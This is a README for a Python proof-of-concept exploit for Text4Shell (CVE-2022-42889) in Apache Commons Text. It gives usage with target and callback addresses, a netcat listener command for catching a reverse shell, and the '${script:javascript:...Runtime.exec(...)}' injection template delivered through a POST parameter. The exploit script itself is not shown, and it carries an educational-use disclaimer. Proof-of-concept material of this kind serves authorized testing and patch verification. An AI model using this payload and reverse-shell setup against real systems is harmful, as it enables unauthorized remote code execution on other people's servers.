text4shell-exploit

A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation enabled, allowing injection of ${script:...} expressions to execute arbitrary system commands.

In this PoC, exploitation is demonstrated via the data query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.

Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.

Description

This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor.

Tested against:

• Apache Commons Text < 1.10.0
• Java applications using ${script:...} interpolation from untrusted input

Usage

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

Example

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

Make sure to set up a lsitener on your attacking machine:

nc -nlvp 4444

Payload Logic

The script injects:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

The reverse shell is sent via /data parameter using a POST request.